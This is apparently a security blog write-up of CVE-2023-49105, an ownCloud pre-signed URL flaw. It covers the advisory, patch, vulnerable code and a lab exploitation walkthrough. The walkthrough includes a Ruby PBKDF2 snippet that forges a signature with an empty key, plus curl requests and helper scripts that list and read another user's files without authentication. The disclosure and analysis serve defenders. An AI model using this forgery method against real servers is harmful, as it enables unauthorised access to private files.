On November 29 and 30, 2023, we published high-level and deep-dive blogs into a seemingly-simple (but actually-complex) vulnerability in ownCloud that permitted users to enumerate environmental variables. Since it was listed as CVSS 10.0, everybody jumped on it.
Another vulnerability released in the same disclosure, CVE-2023-49105, had a CVSS score of 9.8 but managed to seemingly fly under the radar. But it is, arguably, a worse vulnerability, as we’ll detail here. Ambionics Security released their writeup demonstrating how to leverage this vulnerable for remote code execution, and later they released a full proof of concept exploit.
Advisory + patch
The advisory is short and sweet:
Description
It is possible to access, modify or delete any file without authentication if the username of the victim is known and the victim has no signing-key configured (which is the default).
Affected
- core 10.6.0 – 10.13.0
Action taken
Deny the use of pre-signed urls if no signing-key is configured for the owner of the files.
It’s short but… seems kinda bad?
I went and found the patch. Not only is it also short and sweet, it even helpfully provides a test case:
public function testNoSigningKey(): void {
$url = 'http://cloud.example.net/?OC-Credential=alice&OC-Date=2019-05-14T11%3A01%3A58.135Z&OC-Expires=1200&OC-Verb=GET&OC-Signature=f9e53a1ee23caef10f72ec392c1b537317491b687bfdd224c782be197d9ca2b6';
$r = new Request('GET', $url);
$r->setAbsoluteUrl($url);
$config = $this->createMock(IConfig::class);
# signing key for the user was never initialized
$config->method('getUserValue')->willReturn('');
$now = new \DateTime('2019-05-14T11:01:58.135Z', null);
$v = new Verifier($r, $config, $now);
self::assertTrue($v->isSignedRequest());
self::assertEquals('alice', $v->getUrlCredential());
self::assertFalse($v->signedRequestIsValid());
}
Analysis
The vulnerable code is located in lib/private/Security/SignedUrl/Verifier.php
:
$trustedList = $this->config->getSystemValue('trusted_domains', []);
$signingKey = $this->config->getUserValue($urlCredential, 'core', 'signing-key');
$qp = \preg_replace('/%5B\d+%5D/', '%5B%5D', \http_build_query($params));
foreach ($trustedList as $trustedDomain) {
foreach (['https', 'http'] as $scheme) {
$url = \Sabre\Uri\parse($this->getAbsoluteUrl());
$url['scheme'] = $scheme;
$url['host'] = $trustedDomain;
$url['query'] = $qp;
$url = \Sabre\Uri\build($url);
$hash = $this->computeHash($algo, $url, $signingKey);
if ($hash === $urlSignature) {
return true;
}OC::$server->getLogger()->debug("Hashes do not match: $hash !== $urlSignature (used key: $signingKey url: $url", ['app' => 'signed-url']);
\
} }
The computeHash
function uses the signing-key
value from the user’s configuration, which is in the oc_preferences
table. By default, no value is there:
MariaDB [owncloud]> select * from oc_preferences where configkey = 'signing-key';
Empty set (0.001 sec)
But, undeterred by something as simple as a missing key, the vulnerable version of ownCloud plows forward with a blank key and calls computeHash
with $signingKey
set to the empty string. The computeHash
function uses PBKDF2
with SHA512
to sign the URL:
protected function computeHash(string $algo, string $url, $signingKey) {
if (\preg_match('/^(.*)\/(.*)-(.*)$/', $algo, $output)) {
if ($output[1] !== 'PBKDF2') {
return false;
}if ($output[3] !== 'SHA512') {
return false;
}$iterations = (int)$output[2];
if ($iterations <= 0) {
return false;
}return \hash_pbkdf2("sha512", $url, $signingKey, $iterations, 64, false);
}return false;
}
That value is truncated to 64 characters and sent as the OC-Signature
query-string argument.
It then validates the other signing arguments (which are included in the signature):
OC-Credential
- a username (such asadmin
)OC-Date
- the date the signature expires (we can just use9999-01-01
)OC-Expires
- how long the signature is valid for (the default1200
works)OC-Verb
- must match the HTTP verb (ie,GET
orPOST
)
Exploit
Knowing all that, we can sign any URL we want. Let’s take the URL to fetch the /test.txt
file: http://localhost:8080/remote.php/webdav/test.txt
By default, the request fails:
$ curl 'http://localhost:8080/remote.php/webdav/test.txt'
<?xml version="1.0" encoding="utf-8"?>
<d:error xmlns:d="DAV:" xmlns:s="http://sabredav.org/ns">
<s:exception>Sabre\DAV\Exception\NotAuthenticated</s:exception>
<s:message>No 'Authorization: Basic' header found. Either the client didn't send one, or the server is misconfigured, No 'Authorization: Basic' header found. Either the client didn't send one, or the server is misconfigured</s:message>
</d:error>
We can build a URL containing all the required arguments: http://localhost:8080/remote.php/dav/files/admin/test.txt?OC-Credential=admin&OC-Date=9999-12-02T11%3A01%3A58.135Z&OC-Expires=1200&OC-Verb=GET
Then create a signature using the pbkdb2-ruby
library:
3.2.2 :001 > require 'pbkdf2'
=> true
3.2.2 :002 > url = 'http://localhost:8080/remote.php/dav/files/admin/test.txt?OC
-Credential=admin&OC-Date=9999-12-02T11%3A01%3A58.135Z&OC-Expires=1200&OC-Verb=G
ET'
=> "http://localhost:8080/remote.php/dav/files/admin/test.txt?OC-Credenti...
3.2.2 :003 > puts PBKDF2.new(:password=>url, :salt=>'', :iterations=>10000, hash
_function: OpenSSL::Digest::SHA512).hex_string()[0..63]
0ad47148a00bf9aac1a472e314c35d1afa413514a9c117d72218a2d9ad35f099
We can append that signature to the URL, giving us the full path:
$ curl 'http://localhost:8080/remote.php/dav/files/admin/test.txt?OC-Credential=admin&OC-Date=9999-12-02T11%3A01%3A58.135Z&OC-Expires=1200&OC-Verb=GET&OC-Signature=0ad47148a00bf9aac1a472e314c35d1afa413514a9c117d72218a2d9ad35f099'
This data is supposed to be private!
I also threw together a crude script that’ll get directory listings:
$ bash ./list-files.sh "http://localhost:8080"
http://localhost:8080/remote.php/dav/
http://localhost:8080/remote.php/dav/files
http://localhost:8080/remote.php/dav/files/admin/test/
http://localhost:8080/remote.php/dav/files/admin/file2.txt
http://localhost:8080/remote.php/dav/files/admin/test.txt
http://localhost:8080/remote.php/dav/comments/files/3
And read files:
$ bash ./get-file.sh test.txt
This data is supposed to be private!
What we’re seeing
We have not seen any exploitation attempts so far, but are watching for them! You can check it out on our visualizer.
Summary (TL;DR)
Using CVE-2023-49105, an attacker can grab all files belonging to a user quite easily. This issue is at least as bad as CVE-2023-49103, so be sure you apply that patch!